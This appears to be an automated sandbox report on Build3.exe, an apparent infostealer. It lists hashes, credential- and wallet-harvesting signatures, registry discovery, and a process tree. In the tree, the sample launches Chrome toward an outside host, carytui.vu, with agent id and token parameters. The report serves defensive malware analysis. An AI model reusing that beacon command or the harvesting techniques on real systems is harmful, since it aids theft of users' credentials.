Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
25/04/2026, 20:09
Behavioral task
behavioral1
Sample
Build3.exe
Resource
win10v2004-20260130-en
16 signatures
150 seconds
General
- Target Build3.exe
- Size 337KB
- Sample260425-yxcwpahs71
- SHA256 94189e4d1e03f3afac858be576cc0c1b0ab000dbccb8dcf988fb58059b5a12ff
- MD5 4db00b89de7e7c5721c59c50531b5d38
- SHA1 e799cc0768b8a355084871eb4b4aaf840c26667d
- SHA512 ee80c8b1f1ac575f0b5f8ae2bee0b4e9c6f70ac6044e4be3285a129e93d74c2b06a2c66860aff725c0e13280b0b744558dc71aff525b514aa46b95ea59a037d4
- SSDEEP 6144:XvgEeOcmwvEL7fF1jTA659HSC8AVtZ5XlOHaoIhEFydyt:/8OcZ07bf0OtDlOHaoIndyt
- TLSH T18C747B86E7BB54B0D58B0938259FB33BDF3416294328CEC7DBF0DA4439672E25536A02
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Build3.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4112 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134216214448176615" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 3232 Build3.exe 3232 Build3.exe 3232 Build3.exe 3232 Build3.exe 2136 chrome.exe 2136 chrome.exe 3232 Build3.exe 3232 Build3.exe 3232 Build3.exe 3232 Build3.exe 3232 Build3.exe 3232 Build3.exe 3232 Build3.exe 3232 Build3.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe - Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeShutdownPrivilege 2136 chrome.exe Token: SeCreatePagefilePrivilege 2136 chrome.exe Token: SeShutdownPrivilege 2136 chrome.exe Token: SeCreatePagefilePrivilege 2136 chrome.exe Token: SeShutdownPrivilege 2136 chrome.exe Token: SeCreatePagefilePrivilege 2136 chrome.exe Token: SeShutdownPrivilege 2136 chrome.exe Token: SeCreatePagefilePrivilege 2136 chrome.exe Token: SeShutdownPrivilege 2136 chrome.exe Token: SeCreatePagefilePrivilege 2136 chrome.exe Token: SeShutdownPrivilege 2136 chrome.exe Token: SeCreatePagefilePrivilege 2136 chrome.exe Token: SeShutdownPrivilege 2136 chrome.exe Token: SeCreatePagefilePrivilege 2136 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe 2136 chrome.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 3232 wrote to memory of 2136 3232 Build3.exe 81 PID 2136 wrote to memory of 2772 2136 chrome.exe 82 PID 2136 wrote to memory of 3124 2136 chrome.exe 83 PID 2136 wrote to memory of 3124 2136 chrome.exe 83 PID 2136 wrote to memory of 4112 2136 chrome.exe 84 PID 2136 wrote to memory of 1744 2136 chrome.exe 85 PID 2136 wrote to memory of 1744 2136 chrome.exe 85 PID 2136 wrote to memory of 4004 2136 chrome.exe 86 PID 2136 wrote to memory of 4004 2136 chrome.exe 86 PID 2136 wrote to memory of 3236 2136 chrome.exe 89 PID 2136 wrote to memory of 3236 2136 chrome.exe 89 PID 2136 wrote to memory of 424 2136 chrome.exe 87 PID 2136 wrote to memory of 424 2136 chrome.exe 87 PID 2136 wrote to memory of 1132 2136 chrome.exe 90 PID 2136 wrote to memory of 1132 2136 chrome.exe 90 PID 2136 wrote to memory of 5040 2136 chrome.exe 91
Processes
-
C:\Users\Admin\AppData\Local\Temp\Build3.exe"C:\Users\Admin\AppData\Local\Temp\Build3.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3232 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" carytui.vu/api/set_agent?id=44608687BD24956701AEC7B30ADF174C&token=7c6d9e1ac2be7bdf1b73b6d57288153212&description=0d5b0d6e95037f7d0d4d809554f3b6d0&agent=Chrome2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffef26dc728,0x7ffef26dc734,0x7ffef26dc7403⤵PID:2772
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1640,i,17548054458977363051,8636975415599332071,262144 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1956 /prefetch:23⤵PID:3124
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1472,i,894827901540092609,13866075075696683703,524288 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2292 /prefetch:113⤵
- System Time Discovery
PID:4112
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,1464259585046123643,2162206205053374243,524288 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2364 /prefetch:133⤵PID:1744
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2996,i,13818157618126206614,8938171503606343209,2097152 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3100 /prefetch:13⤵PID:4004
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2988,i,1313451592810500831,17836755475529476844,2097152 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3008 /prefetch:13⤵PID:424
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3968,i,17275951164348883226,10198586997490793953,2097152 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3976 /prefetch:93⤵PID:3236
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4688,i,8179639922631280165,9145307926939106761,524288 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4696 /prefetch:123⤵PID:1132
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,3066693129455908069,14003455176104044048,524288 --field-trial-handle=1968,i,6911075928578511253,1458053699803857038,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5448 /prefetch:143⤵PID:5040
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:3484
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:1824
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 496c76b9d40a7b539b308101c0e756c12dac1234bf205ccc0c09533995d5f9b8
- MD5 f92f31502f13fd09c1b112e232f16666
- SHA1 ea9d3d636b5a53cd5e7394e81660565d331ad285
- SHA512 a0bbd1b292d7d0e5a2d3685c85b4fea8ec1641850f96e1ea0719a74424714e14ecc60cea5ed350f785fb722fd887329e24d4b2de45d5121d1c33fc497e34f489
- TLSH T1CAE02BABD9719C2745FD0B2951944786E655139B2B50946F3A3CC10C4FF5A3A85418AC
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 19a23cf566633a2e29ddff284878129ae065ef93dae84b04a89d2003fd6a7f53
- MD5 ca710b0f749c03c0b916c5fa1f235fe0
- SHA1 7381762e6b66b972bec7920eb73e4f1882a40d85
- SHA512 641cd540cef0f19217daf729930977c0afa720eb2ca78a4f82a07b9d6c273d46dd52a5cba2e93bb11287b843a841f8db3d780b566b1db81032695c3967cc0a7b
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2O4gVumOs/ne:1nbZeMrv/hGt4Sne
- TLSH T1E5D3974B3A743002DDE59A721CE051BB5E3CB16D8F5595D428B620688EF2963B23D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 90KB
- SHA256 d30ce941d6be32c0457195e93e9b34fc994db681cf5643b8cc0c4fc95ddab52f
- MD5 fcf9c61c611903a4ad2315f04d5c94f8
- SHA1 498d462d443dc2eb07b734123203c207a455cf79
- SHA512 71dbd2335cfd21fc58b016487c1a5c3bd94311c55e6597d18427df7b2a9496f2489940ba65b5b4e78ae1692d354c3d3bde918c8811689b6c33a0b8f28b1b1315
- SSDEEP 1536:wSiP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNA:u++J3qUQm08KMWF0bFTcVHr6zf
- TLSH T1019312B9991E7D39236FC39AA0179CAC88D3DCDE151411BC30C79F1E14BB392A31B8A5
- MD5 SHA1 SHA512 SSDEEP TLSH